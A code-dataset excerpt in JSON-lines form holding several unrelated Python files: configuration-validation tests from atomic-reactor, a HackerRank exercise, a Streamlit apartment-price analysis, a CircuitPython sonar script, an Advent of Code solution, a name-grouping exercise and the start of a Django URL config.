'flatpak_base_image')\n\n @pytest.mark.parametrize(('config', 'expect'), [\n (\"\"\"\\\nflatpak:\n metadata: labels\n \"\"\",\n \"labels\"),\n (\"\"\"\\\n \"\"\",\n None),\n (\"\"\"\\\nflatpak: {}\n \"\"\",\n None),\n ])\n def test_get_flatpak_metadata(self, config, expect):\n config += \"\\n\" + REQUIRED_CONFIG\n config_json = read_yaml(config, 'schemas/config.json')\n\n conf = Configuration(raw_config=config_json)\n\n if expect:\n base_image = conf.flatpak_metadata\n assert base_image == expect\n else:\n with pytest.raises(KeyError):\n getattr(conf, 'flatpak_metadata')\n\n @pytest.mark.parametrize(('config', 'raise_error'), [\n (\"\"\"\\\nkoji:\n hub_url: https://koji.example.com/hub\n root_url: https://koji.example.com/root\n auth:\n proxyuser: proxyuser\n krb_principal: krb_principal\n krb_keytab_path: /tmp/krb_keytab\n \"\"\", False),\n\n (\"\"\"\\\nkoji:\n hub_url: https://koji.example.com/hub\n root_url: https://koji.example.com/root\n auth:\n proxyuser: proxyuser\n krb_principal: krb_principal\n krb_keytab_path: /tmp/krb_keytab\n use_fast_upload: false\n \"\"\", False),\n\n (\"\"\"\\\nkoji:\n hub_url: https://koji.example.com/hub\n root_url: https://koji.example.com/root\n auth:\n proxyuser: proxyuser\n ssl_certs_dir: /var/certs\n \"\"\", False),\n\n (\"\"\"\\\nkoji:\n hub_url: https://koji.example.com/hub\n root_url: https://koji.example.com/root\n auth:\n proxyuser: proxyuser\n \"\"\", False),\n\n (\"\"\"\\\nkoji:\n hub_url: https://koji.example.com/hub\n root_url: https://koji.example.com/root\n auth:\n \"\"\", True),\n\n (\"\"\"\\\nkoji:\n hub_url: https://koji.example.com/hub\n root_url: https://koji.example.com/root\n auth:\n proxyuser: proxyuser\n krb_principal: krb_principal\n krb_keytab_path: /tmp/krb_keytab\n ssl_certs_dir: /var/certs\n \"\"\", True),\n\n (\"\"\"\\\nkoji:\n hub_url: https://koji.example.com/hub\n root_url: https://koji.example.com/root\n auth:\n proxyuser: proxyuser\n krb_keytab_path: /tmp/krb_keytab\n \"\"\", True),\n\n (\"\"\"\\\nkoji:\n hub_url: https://koji.example.com/hub\n root_url: https://koji.example.com/root\n auth:\n proxyuser: proxyuser\n krb_principal: krb_principal\n \"\"\", True),\n\n (\"\"\"\\\nkoji:\n hub_url: https://koji.example.com/hub\n root_url: https://koji.example.com/root\n auth:\n proxyuser: proxyuser\n krb_principal: krb_principal\n ssl_certs_dir: /var/certs\n \"\"\", True),\n\n (\"\"\"\\\nkoji:\n hub_url: https://koji.example.com/hub\n root_url: https://koji.example.com/root\n auth:\n proxyuser: proxyuser\n krb_keytab_path: /tmp/krb_keytab\n ssl_certs_dir: /var/certs\n \"\"\", True),\n ])\n def test_get_koji_session(self, config, raise_error):\n required_config = \"\"\"\\\nversion: 1\nsource_registry:\n url: source_registry.com\nregistry:\n url: registry_url\nopenshift:\n url: openshift_url\n\"\"\"\n config += \"\\n\" + required_config\n if raise_error:\n with pytest.raises(Exception):\n read_yaml(config, 'schemas/config.json')\n return\n config_json = read_yaml(config, 'schemas/config.json')\n\n auth_info = {\n \"proxyuser\": config_json['koji']['auth'].get('proxyuser'),\n \"ssl_certs_dir\": config_json['koji']['auth'].get('ssl_certs_dir'),\n \"krb_principal\": config_json['koji']['auth'].get('krb_principal'),\n \"krb_keytab\": config_json['koji']['auth'].get('krb_keytab_path')\n }\n\n use_fast_upload = config_json['koji'].get('use_fast_upload', True)\n\n conf = Configuration(raw_config=config_json)\n\n (flexmock(atomic_reactor.utils.koji)\n .should_receive('create_koji_session')\n .with_args(config_json['koji']['hub_url'], auth_info, use_fast_upload)\n .once()\n .and_return(True))\n\n get_koji_session(conf)\n\n @pytest.mark.parametrize('root_url', (\n 'https://koji.example.com/root',\n 'https://koji.example.com/root/',\n None\n ))\n def test_get_koji_path_info(self, root_url):\n\n config = {\n 'version': 1,\n 'koji': {\n 'hub_url': 'https://koji.example.com/hub',\n 'auth': {\n 'ssl_certs_dir': '/var/certs'\n }\n },\n 'openshift': {'url': 'openshift_url'},\n 'source_registry': {'url': 'source_registry'},\n 'registry': {'url': 'registry_url'}\n }\n expected_root_url = 'https://koji.example.com/root'\n\n if root_url:\n config['koji']['root_url'] = root_url\n\n config_yaml = yaml.safe_dump(config)\n\n expect_error = not root_url\n if expect_error:\n with pytest.raises(Exception):\n read_yaml(config_yaml, 'schemas/config.json')\n return\n\n parsed_config = read_yaml(config_yaml, 'schemas/config.json')\n\n conf = Configuration(raw_config=parsed_config)\n\n (flexmock(koji.PathInfo)\n .should_receive('__init__')\n .with_args(topdir=expected_root_url)\n .once())\n getattr(conf, 'koji_path_info')\n\n @pytest.mark.parametrize(('config', 'raise_error'), [\n (\"\"\"\\\nodcs:\n api_url: https://odcs.example.com/api/1\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/odcssecret\n signing_intents:\n - name: release\n keys: [R123]\n default_signing_intent: default\n timeout: 3600\n \"\"\", False),\n\n (\"\"\"\\\nodcs:\n api_url: https://odcs.example.com/api/1\n auth:\n ssl_certs_dir: nonexistent\n signing_intents:\n - name: release\n keys: [R123]\n default_signing_intent: default\n \"\"\", False),\n\n (\"\"\"\\\nodcs:\n api_url: https://odcs.example.com/api/1\n auth:\n openidc_dir: /var/run/open_idc\n signing_intents:\n - name: release\n keys: [R123]\n default_signing_intent: default\n \"\"\", False),\n\n (\"\"\"\\\nodcs:\n api_url: https://odcs.example.com/api/1\n auth:\n openidc_dir: /var/run/open_idc\n ssl_certs_dir: /var/run/secrets/atomic-reactor/odcssecret\n signing_intents:\n - name: release\n keys: [R123]\n default_signing_intent: default\n \"\"\", True),\n\n (\"\"\"\\\nodcs:\n api_url: https://odcs.example.com/api/1\n auth:\n openidc_dir: /var/run/open_idc\n signing_intents:\n - name: release\n keys: [R123]\n \"\"\", True),\n\n (\"\"\"\\\nodcs:\n api_url: https://odcs.example.com/api/1\n auth:\n openidc_dir: /var/run/open_idc\n default_signing_intent: default\n \"\"\", True),\n\n (\"\"\"\\\nodcs:\n auth:\n openidc_dir: /var/run/open_idc\n signing_intents:\n - name: release\n keys: [R123]\n default_signing_intent: default\n \"\"\", True),\n ])\n def test_get_odcs_session(self, tmpdir, config, raise_error):\n config += \"\\n\" + REQUIRED_CONFIG\n\n if raise_error:\n with pytest.raises(Exception):\n read_yaml(config, 'schemas/config.json')\n return\n config_json = read_yaml(config, 'schemas/config.json')\n\n auth_info = {\n 'insecure': config_json['odcs'].get('insecure', False),\n 'timeout': config_json['odcs'].get('timeout', None),\n }\n if 'openidc_dir' in config_json['odcs']['auth']:\n config_json['odcs']['auth']['openidc_dir'] = str(tmpdir)\n filename = str(tmpdir.join('token'))\n with open(filename, 'w') as fp:\n fp.write(\"my_token\")\n auth_info['token'] = \"my_token\"\n\n ssl_dir_raise = False\n if 'ssl_certs_dir' in config_json['odcs']['auth']:\n if config_json['odcs']['auth']['ssl_certs_dir'] != \"nonexistent\":\n config_json['odcs']['auth']['ssl_certs_dir'] = str(tmpdir)\n filename = str(tmpdir.join('cert'))\n with open(filename, 'w') as fp:\n fp.write(\"my_cert\")\n auth_info['cert'] = filename\n else:\n ssl_dir_raise = True\n\n conf = Configuration(raw_config=config_json)\n\n if not ssl_dir_raise:\n (flexmock(atomic_reactor.utils.odcs.ODCSClient)\n .should_receive('__init__')\n .with_args(config_json['odcs']['api_url'], **auth_info)\n .once()\n .and_return(None))\n\n get_odcs_session(conf)\n else:\n with pytest.raises(KeyError):\n get_odcs_session(conf)\n\n def test_get_odcs_session_krb_keytab_path(self, tmp_path):\n keytab = tmp_path / \"keytab\"\n keytab.write_text(\"fake keytab\")\n\n config = dedent(f\"\"\"\n odcs:\n api_url: https://odcs.example.com/api/1\n auth:\n krb_keytab_path: {keytab}\n signing_intents:\n - name: release\n keys: [R123]\n default_signing_intent: default\n timeout: 3600\n \\n\"\"\") + REQUIRED_CONFIG\n\n config_json = read_yaml(config, 'schemas/config.json')\n conf = Configuration(raw_config=config_json)\n\n mock = flexmock()\n flexmock(requests_gssapi).should_receive(\"HTTPSPNEGOAuth\").and_return(mock)\n\n expected_client_kwargs = {\n 'insecure': config_json['odcs'].get('insecure', False),\n 'timeout': config_json['odcs'].get('timeout', None),\n 'kerberos_auth': mock\n }\n\n (flexmock(atomic_reactor.utils.odcs.ODCSClient)\n .should_receive('__init__')\n .with_args(config_json['odcs']['api_url'], **expected_client_kwargs)\n .once()\n .and_return(None))\n\n get_odcs_session(conf)\n assert os.getenv('KRB5_CLIENT_KTNAME') == str(keytab)\n\n def test_get_odcs_session_krb_keytab_path_nonexistent_keytab(self, tmp_path):\n config = dedent(\"\"\"\n odcs:\n api_url: https://odcs.example.com/api/1\n auth:\n krb_keytab_path: /tmp/nonexistent_keytab\n signing_intents:\n - name: release\n keys: [R123]\n default_signing_intent: default\n timeout: 3600\n \\n\"\"\") + REQUIRED_CONFIG\n\n config_json = read_yaml(config, 'schemas/config.json')\n conf = Configuration(raw_config=config_json)\n\n with pytest.raises(KeyError, match=\"ODCS krb_keytab_path doesn't exist\"):\n get_odcs_session(conf)\n\n @pytest.mark.parametrize(('config', 'raise_error'), [\n (\"\"\"\\\nsmtp:\n host: smtp.example.com\n from_address: osbs@example.com\n \"\"\", False),\n\n (\"\"\"\\\nsmtp:\n from_address: osbs@example.com\n \"\"\", True),\n\n (\"\"\"\\\nsmtp:\n host: smtp.example.com\n \"\"\", True),\n\n (\"\"\"\\\nsmtp:\n \"\"\", True),\n ])\n def test_get_smtp_session(self, config, raise_error):\n config += \"\\n\" + REQUIRED_CONFIG\n\n if raise_error:\n with pytest.raises(Exception):\n read_yaml(config, 'schemas/config.json')\n return\n config_json = read_yaml(config, 'schemas/config.json')\n\n conf = Configuration(raw_config=config_json)\n\n (flexmock(smtplib.SMTP)\n .should_receive('__init__')\n .with_args(config_json['smtp']['host'])\n .once()\n .and_return(None))\n\n get_smtp_session(conf)\n\n @pytest.mark.parametrize(('config', 'error'), [\n (\"\"\"\\\ncachito:\n api_url: https://cachito.example.com\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/cachitosecret\n timeout: 1000\n \"\"\", False),\n\n (\"\"\"\\\ncachito:\n api_url: https://cachito.example.com\n insecure: true\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/cachitosecret\n \"\"\", False),\n\n (\"\"\"\\\ncachito:\n api_url: https://cachito.example.com\n auth:\n \"\"\", OsbsValidationException),\n\n (\"\"\"\\\ncachito:\n api_url: https://cachito.example.com\n \"\"\", OsbsValidationException),\n\n (\"\"\"\\\ncachito:\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/cachitosecret\n \"\"\", OsbsValidationException),\n\n (\"\"\"\\\ncachito:\n api_url: https://cachito.example.com\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/cachitosecret\n spam: ham\n \"\"\", OsbsValidationException),\n\n (\"\"\"\\\ncachito:\n api_url: https://cachito.example.com\n auth:\n ssl_certs_dir: nonexistent\n \"\"\", False),\n ])\n def test_get_cachito_session(self, tmpdir, config, error):\n config += \"\\n\" + REQUIRED_CONFIG\n\n if error:\n with pytest.raises(error):\n read_yaml(config, 'schemas/config.json')\n return\n config_json = read_yaml(config, 'schemas/config.json')\n\n auth_info = {\n 'insecure': config_json['cachito'].get('insecure', False),\n 'timeout': config_json['cachito'].get('timeout'),\n }\n\n ssl_dir_raise = False\n if 'ssl_certs_dir' in config_json['cachito']['auth']:\n if config_json['cachito']['auth']['ssl_certs_dir'] != \"nonexistent\":\n config_json['cachito']['auth']['ssl_certs_dir'] = str(tmpdir)\n filename = str(tmpdir.join('cert'))\n with open(filename, 'w') as fp:\n fp.write(\"my_cert\")\n auth_info['cert'] = filename\n else:\n ssl_dir_raise = True\n\n conf = Configuration(raw_config=config_json)\n\n if not ssl_dir_raise:\n (flexmock(atomic_reactor.utils.cachito.CachitoAPI)\n .should_receive('__init__')\n .with_args(config_json['cachito']['api_url'], **auth_info)\n .once()\n .and_return(None))\n\n get_cachito_session(conf)\n else:\n with pytest.raises(RuntimeError, match=\"Cachito ssl_certs_dir doesn't exist\"):\n get_cachito_session(conf)\n\n @pytest.mark.parametrize(('config', 'raise_error'), [\n (\"\"\"\\\nopenshift:\n url: https://openshift.example.com\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/odcssecret\n \"\"\", False),\n\n (\"\"\"\\\nopenshift:\n url: https://openshift.example.com\n \"\"\", False),\n\n (\"\"\"\\\nopenshift:\n url: https://openshift.example.com\n auth:\n krb_principal: principal\n krb_keytab_path: /var/keytab\n \"\"\", False),\n\n (\"\"\"\\\nopenshift:\n url: https://openshift.example.com\n auth:\n krb_principal: principal\n krb_keytab_path: /var/keytab\n krb_cache_path: /var/krb/cache\n \"\"\", False),\n\n (\"\"\"\\\nopenshift:\n url: https://openshift.example.com\n auth:\n enable: True\n \"\"\", False),\n\n (\"\"\"\\\nopenshift:\n url: https://openshift.example.com\n auth:\n krb_keytab_path: /var/keytab\n \"\"\", True),\n\n (\"\"\"\\\nopenshift:\n url: https://openshift.example.com\n auth:\n krb_principal: principal\n \"\"\", True),\n\n (\"\"\"\\\nopenshift:\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/odcssecret\n \"\"\", True),\n\n (\"\"\"\\\nopenshift:\n auth:\n krb_principal: principal\n krb_keytab_path: /var/keytab\n \"\"\", True),\n\n (\"\"\"\\\nopenshift:\n url: https://openshift.example.com\n auth:\n \"\"\", True),\n\n (\"\"\"\\\nopenshift:\n auth:\n ssl_certs_dir: /var/run/secrets/atomic-reactor/odcssecret\n \"\"\", True),\n ])\n def test_get_openshift_session(self, config, raise_error):\n required_config = \"\"\"\\\nversion: 1\nkoji:\n hub_url: /\n root_url: ''\n auth: {}\nsource_registry:\n url: source_registry.com\nregistry:\n url: registry_url\n\"\"\"\n\n config += \"\\n\" + required_config\n\n if raise_error:\n with pytest.raises(Exception):\n read_yaml(config, 'schemas/config.json')\n return\n config_json = read_yaml(config, 'schemas/config.json')\n\n auth_info = {\n 'openshift_url': config_json['openshift']['url'],\n 'verify_ssl': not config_json['openshift'].get('insecure', False),\n 'use_auth': False,\n 'conf_file': None,\n 'namespace': 'namespace',\n }\n if config_json['openshift'].get('auth'):\n if config_json['openshift']['auth'].get('krb_keytab_path'):\n auth_info['kerberos_keytab'] =\\\n config_json['openshift']['auth'].get('krb_keytab_path')\n if config_json['openshift']['auth'].get('krb_principal'):\n auth_info['kerberos_principal'] =\\\n config_json['openshift']['auth'].get('krb_principal')\n if config_json['openshift']['auth'].get('krb_cache_path'):\n auth_info['kerberos_ccache'] =\\\n config_json['openshift']['auth'].get('krb_cache_path')\n if config_json['openshift']['auth'].get('ssl_certs_dir'):\n auth_info['client_cert'] =\\\n os.path.join(config_json['openshift']['auth'].get('ssl_certs_dir'), 'cert')\n auth_info['client_key'] =\\\n os.path.join(config_json['openshift']['auth'].get('ssl_certs_dir'), 'key')\n auth_info['use_auth'] = config_json['openshift']['auth'].get('enable', False)\n\n (flexmock(osbs.conf.Configuration)\n .should_call('__init__')\n .with_args(**auth_info)\n .once())\n (flexmock(osbs.api.OSBS)\n .should_call('__init__')\n .once())\n\n conf = Configuration(raw_config=config_json)\n get_openshift_session(conf, 'namespace')\n\n @pytest.mark.parametrize('config, valid', [\n (\"\"\"\\\noperator_manifests:\n allowed_registries: null\n \"\"\", True), # minimal valid example, allows all registries\n (\"\"\"\\\noperator_manifests:\n allowed_registries:\n - foo\n - bar\n repo_replacements:\n - registry: foo\n package_mappings_url: https://somewhere.net/mapping.yaml\n registry_post_replace:\n - old: foo\n new: bar\n \"\"\", True), # all known properties\n (\"\"\"\\\noperator_manifests: null\n \"\"\", False), # has to be a dict\n (\"\"\"\\\noperator_manifests: {}\n \"\"\", False), # allowed_registries is required\n (\"\"\"\\\noperator_manifests:\n allowed_registries: []\n \"\"\", False), # if not null, allowed_registries must not be empty\n (\"\"\"\\\noperator_manifests:\n allowed_registries: null\n something_else: null\n \"\"\", False), # additional properties not allowed\n (\"\"\"\\\noperator_manifests:\n allowed_registries: null\n registry_post_replace:\n - old: foo\n \"\"\", False), # missing replacement registry\n (\"\"\"\\\noperator_manifests:\n allowed_registries: null\n registry_post_replace:\n - new: foo\n \"\"\", False), # missing original registry\n (\"\"\"\\\noperator_manifests:\n allowed_registries: null\n repo_replacements:\n - registry: foo\n \"\"\", False), # missing package mappings url\n (\"\"\"\\\noperator_manifests:\n allowed_registries: null\n repo_replacements:\n - package_mappings_url: https://somewhere.net/mapping.yaml\n \"\"\", False), # missing registry\n (\"\"\"\\\noperator_manifests:\n allowed_registries: null,\n repo_replacements:\n - registry: foo\n package_mappings_url: mapping.yaml\n \"\"\", False), # package mappings url is not a url\n ])\n def test_get_operator_manifests(self, tmpdir, config, valid):\n config += \"\\n\" + REQUIRED_CONFIG\n if valid:\n read_yaml(config, 'schemas/config.json')\n else:\n with pytest.raises(OsbsValidationException):\n read_yaml(config, 'schemas/config.json')\n return\n\n filename = os.path.join(str(tmpdir), 'config.yaml')\n with open(filename, 'w') as fp:\n fp.write(dedent(config))\n conf = Configuration(config_path=filename)\n\n operator_config = conf.operator_manifests\n assert isinstance(operator_config, dict)\n assert \"allowed_registries\" in operator_config\n\n @pytest.mark.parametrize(('images_exist', 'organization'), [\n (True, None),\n (True, 'organization'),\n (False, None),\n (False, 'organization'),\n ])\n def test_update_dockerfile_images_from_config(self, tmp_path, images_exist, organization):\n config = REQUIRED_CONFIG\n\n if organization:\n config += \"\\nregistries_organization: \" + organization\n\n config_yaml = tmp_path / 'config.yaml'\n config_yaml.write_text(dedent(config), \"utf-8\")\n\n if images_exist:\n parent_images = ['parent:latest', 'base:latest']\n if organization:\n expect_images = [ImageName.parse('source_registry.com/organization/base:latest'),\n ImageName.parse('source_registry.com/organization/parent:latest')]\n else:\n expect_images = [ImageName.parse('source_registry.com/base:latest'),\n ImageName.parse('source_registry.com/parent:latest')]\n else:\n parent_images = []\n\n dockerfile_images = DockerfileImages(parent_images)\n\n conf = Configuration(config_path=str(config_yaml))\n conf.update_dockerfile_images_from_config(dockerfile_images)\n\n if images_exist:\n assert len(dockerfile_images) == 2\n assert dockerfile_images.keys() == expect_images\n else:\n assert not dockerfile_images\n\n\ndef test_ensure_odcsconfig_does_not_modify_original_signing_intents():\n signing_intents = [{'name': 'release', 'keys': ['R123', 'R234']}]\n odcs_config = ODCSConfig(signing_intents, 'release')\n assert [{\n 'name': 'release',\n 'keys': ['R123', 'R234'],\n 'restrictiveness': 0\n }] == odcs_config.signing_intents\n # Verify original intent is not modified.\n assert 'restrictiveness' not in signing_intents[0]\n","repo_name":"containerbuildsystem/atomic-reactor","sub_path":"tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":45132,"program_lang":"python","lang":"en","doc_type":"code","stars":131,"dataset":"github-code","pt":"67"} +{"seq_id":"18144740403","text":"# take input for number of test cases\nt = int(input())\n\n# loop through the test cases\nfor i in range(t):\n # take input string for each test case\n s = input()\n \n # initialize even and odd strings\n even_str = \"\"\n odd_str = \"\"\n \n # loop through the characters of the string\n for j in range(len(s)):\n # if index is even, add the character to even_str\n if j % 2 == 0:\n even_str += s[j]\n # if index is odd, add the character to odd_str\n else:\n odd_str += s[j]\n \n # print the even and odd strings separated by a space\n print(even_str, odd_str)\n","repo_name":"AshishJadhav45/HackerRankProblems","sub_path":"review.py","file_name":"review.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21110373795","text":"import numpy as np\nimport pandas as pd\nimport streamlit as st\nfrom streamlit_folium import st_folium\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport plotly.express as px\n\nheader = st.container()\nwith header:\n st.title('Analysis dataframe of Appartement')\n st.markdown('''_we filtered our dataframe by Type of Appartement and scraped the link \n to have more informations about the property sale_\\n''')\n\nst.sidebar.markdown(\"## Page 2\")\n\nst.markdown('\\n')\nst.markdown('\\n')\nst.markdown('\\n')\n\n# Load df of all real estate sales\ndf1 = pd.read_csv('Webscraping_DOMimmo_4.csv')\n\n# Printing Dataframe of Appartement\nst.markdown(\"**Let's take a look on the dataframe of Appartement :**\")\nst.dataframe(df1.head(9))\nst.write('shape '+ str(np.shape(df1)))\n\nst.markdown('\\n')\nst.markdown('\\n')\nst.markdown('\\n')\n\n# Heatmap to find relations between variables in a dataset.\nst.markdown(\"
Let's find some relationship between variables :
\", unsafe_allow_html=True)\nfig = plt.figure(figsize=(10, 6))\nfig.patch.set_facecolor('#0E1117')\n\ndf1_cor = df1.drop(['Address', 'Latitude', 'Longitude'], axis = 1)\nax = sns.heatmap(round(df1_cor.corr(numeric_only=True), 1), annot = True, cmap = 'magma', cbar = False)\ncbar = plt.colorbar(ax.collections[0], ax=ax)\ncbar.ax.tick_params(colors='white')\ncbar.set_label('label', color='white')\n\nplt.tick_params(colors='white', which='both')\nst.write(fig)\n\nst.markdown('\\n')\n\nst.markdown('''- we can see strong correlation between Number_Room vs Price (0.6)\n- Very strong correlation between Number_Bedroom vs Number_Room (0.8)\n- Strong correlation between Surface vs Number_Room (0.6)\n- Strong correlation between Salles d'eau vs Toilettes (0.7)\n- Strong correlation between Taxes foncière vs Salles d'eau (0.6)\n''')\n\nst.markdown('\\n')\nst.markdown('\\n')\n\n# Mean price by room \napt_mean_price_by_room = df1.groupby(['Number_Room'])['Price (in €)'].mean().round().reset_index(name='Mean Price Room')\n# Mean price by bedroom\napt_mean_price_by_bedroom = df1.groupby(['Number_Bedroom'])['Price (in €)'].mean().round().reset_index(name='Mean Price Bedroom')\n# Mean price by Surface\napt_mean_price_by_surface = df1.groupby(['Surface (in m²)'])['Price (in €)'].mean().round().reset_index(name='Mean Price Surface')\n\nst.markdown(\"**Let's see some relationships between Average price and some variables :**\")\nst.markdown('''_We use Scatter plot to observe linear relations between two variables in a dataset. \nIn our case, price or mean price attribute is the dependent variable, \nand every other are the independent variables._''')\n\nst.markdown('\\n')\nst.markdown('\\n')\n\n# Scatter plot Mean price by room \nfig = px.scatter(\n apt_mean_price_by_room, x='Number_Room', y='Mean Price Room', opacity=0.70,\n trendline='ols', trendline_color_override='darkblue'\n)\nfig.update_layout(title=dict(text='Mean Price of Apartments by Number of Rooms',\n x=0.5, xanchor='center', y=0.9, yanchor='top',\n font=dict(size=24, color='black')))\nst.plotly_chart(fig)\n\n# Scatter plot Mean price by bedroom\nfig = px.scatter(\n apt_mean_price_by_bedroom, x = 'Number_Bedroom', y ='Mean Price Bedroom', opacity=0.70,\n trendline='ols', trendline_color_override='orange'\n)\nfig.update_layout(title=dict(text='Mean Price of Apartments by Number of Bedrooms',\n x=0.5, xanchor='center', y=0.9, yanchor='top',\n font=dict(size=24, color='black')))\nst.plotly_chart(fig)\n\n# Scatter plot Mean price by Surface\nfig = px.scatter(\n apt_mean_price_by_surface, x = 'Surface (in m²)', y ='Mean Price Surface', opacity=0.70,\n trendline='ols', trendline_color_override='green'\n)\nfig.update_layout(title=dict(text='Mean Price of Apartments by Surface',\n x=0.5, xanchor='center', y=0.9, yanchor='top',\n font=dict(size=24, color='black')))\nst.plotly_chart(fig)\n\nst.markdown('\\n')\nst.markdown('\\n')\n\n# Mean price by city\napt_mean_price_by_city = df1.groupby(['City'])['Price (in €)'].mean().round().reset_index(name='Mean Price City')\n\ncolors = ['lightslategray',] * len(apt_mean_price_by_city)\nmax_price_idx = apt_mean_price_by_city['Mean Price City'].idxmax()\ncolors[max_price_idx] = 'crimson'\n\n# Barplot of Mean price by City\nfig = px.bar(apt_mean_price_by_city, y='Mean Price City', x='City', text_auto='.2s',\n title='Mean price of Appartement by City', color = colors)\nfig.update_traces(textfont_size=12, textangle=0, textposition=\"outside\", cliponaxis=False)\nfig.update_layout(width=850, height=600)\nst.plotly_chart(fig)","repo_name":"mouammal/Webscraping_DOMimmo","sub_path":"pages/Analysis.py","file_name":"Analysis.py","file_ext":"py","file_size_in_byte":4631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2107210568","text":"import time\nimport board\nimport adafruit_hcsr04\nimport neopixel\n\nsonar = adafruit_hcsr04.HCSR04(trigger_pin=board.A0, echo_pin=board.A1)\nled = neopixel.NeoPixel(board.NEOPIXEL, 1)\n\nwhile True:\n try:\n distance = sonar.distance\n if distance > 15:\n led.fill((0, 255, 0))\n elif distance <= 15 and distance >= 5:\n led.fill((255, 255, 0)) \n else:\n led.fill((255, 0, 0)) \n print(distance)\n except RuntimeError:\n print(\"Retrying!\")\n time.sleep(0.1)\n","repo_name":"Migpoulin/ProjetAvion","sub_path":"tests/sonar/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43974822420","text":"min_x = 9999999999\nmax_x = 0\nmin_y = 9999999999\nmax_y = 0\nmap = {}\nbeacon_dist = {}\nwith open(r\"2022/input15.txt\", \"r\") as input_file:\n for line in input_file:\n line = line[:-1].split(' ')\n s_x = line[2].split('=')[1][:-1]\n s_y = line[3].split('=')[1][:-1]\n \n min_x = min(min_x, int(s_x))\n max_x = max(max_x, int(s_x))\n min_y = min(min_y, int(s_y))\n max_y = max(max_y, int(s_y))\n\n b_x = line[8].split('=')[1][:-1]\n b_y = line[9].split('=')[1]\n \n min_x = min(min_x, int(b_x))\n max_x = max(max_x, int(b_x))\n min_y = min(min_y, int(b_y))\n max_y = max(max_y, int(b_y))\n\n map[s_x+','+s_y] = 'S'\n map[b_x+','+b_y] = 'B'\n\n beacon_dist[s_x+','+s_y] = max(int(s_x), int(b_x)) - min(int(s_x), int(b_x)) + max(int(s_y), int(b_y)) - min(int(s_y), int(b_y))\n\nprint(f'Min X: {min_x}, Min Y: {min_y}')\nprint(f'Max X: {max_x}, Max Y: {max_y}')\nprint()\n\nmin_p = 0\nmax_p = 4000000\nsolved = False\n\n#Attempt 4\n#Work around the edges of all the sensors and check against the ranges of all of the other sensors.\nfor b in beacon_dist:\n\n dist = beacon_dist[b] + 1\n b = b.split(',')\n s_x = int(b[0])\n s_y = int(b[1])\n\n \n\n l_j = s_x - dist + s_y-(s_y - dist)+1\n r_j = s_x + dist - s_y+(s_y - dist)-1\n\n for i in range(s_y - dist, s_y + dist+1):\n if i < min_p:\n continue\n elif i > max_p:\n break\n\n if i <= s_y:\n l_j -= 1\n r_j += 1\n else:\n l_j += 1\n r_j -= 1\n \n if l_j >= min_p and l_j <= max_p:\n found = True\n for k in beacon_dist: \n dist = beacon_dist[k]\n k = k.split(',')\n s_x = int(k[0])\n s_y = int(k[1])\n\n if i < s_y:\n if i > s_y - dist-1 and i < s_y + dist+1 and l_j > s_x - dist - 1+s_y-i and l_j < s_x + dist + 1 - s_y+i:\n found = False\n break\n else:\n if i > s_y - dist-1 and i < s_y + dist+1 and l_j >s_x - dist - 1+i-s_y and l_j < s_x + dist + 1 - i+s_y:\n found = False\n break\n \n if found:\n print(l_j*4000000+i)\n solved = True\n break\n if solved:\n break\n\n if r_j >= min_p and r_j <= max_p:\n found = True\n for k in beacon_dist: \n dist = beacon_dist[k]\n k = k.split(',')\n s_x = int(k[0])\n s_y = int(k[1])\n\n if i < s_y:\n if i > s_y - dist-1 and i < s_y + dist+1 and r_j > s_x - dist - 1+s_y-i and r_j < s_x + dist + 1 - s_y+i:\n found = False\n break\n else:\n if i > s_y - dist-1 and i < s_y + dist+1 and r_j >s_x - dist - 1+i-s_y and r_j < s_x + dist + 1 - i+s_y:\n found = False\n break\n \n if found:\n print(r_j*4000000+i)\n solved = True\n break\n if solved:\n break\n if solved:\n break\n","repo_name":"SamuelJCopeland/Advent-of-Code","sub_path":"2022/day15-2.py","file_name":"day15-2.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10992404247","text":"# Agrupar pela inicial e por turma\n\n# Rece dicionário de turmas chaves são nomes de turmas \n# e valores listas com os nomes de alunos\n\n# Devolve dic chaves são iniciais e valores nomes\n\n# NOMES SEMPRE COM LETRA UPPER\n\n\ndef separa_por_inicial(turmas):\n iniciais = []\n nomes = []\n filtrado = {}\n\n for v in turmas.values():\n for nome in v:\n if nome not in nomes:\n nomes.append(nome)\n if nome[0] not in iniciais:\n iniciais.append(nome[0])\n # Iniciais já são as chaves do dicionário\n print(iniciais)\n print(nomes)\n\n for i in iniciais:\n flag = False\n for n in nomes:\n if n[0] == i:\n print(i, n, \"Teste\")\n if flag:\n filtrado[i].append(n)\n else:\n filtrado[i] = [n]\n flag = True\n\n return filtrado\nexepmlo = {\n \"Turma A\": [\"Ana\", \"Beatriz\", \"Jorge\"],\n \"Turma B\": [\"Cecília\", \"João\"],\n \"Turma C\": [\"Amanda\", \"Joana\", \"Lucas\"],\n}\n\nprint(separa_por_inicial(exepmlo))","repo_name":"andrebrito16/python-academy","sub_path":"Prova final 2020.1/kit_de_materiais.py","file_name":"kit_de_materiais.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"32534666680","text":"\"\"\"demo1 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from 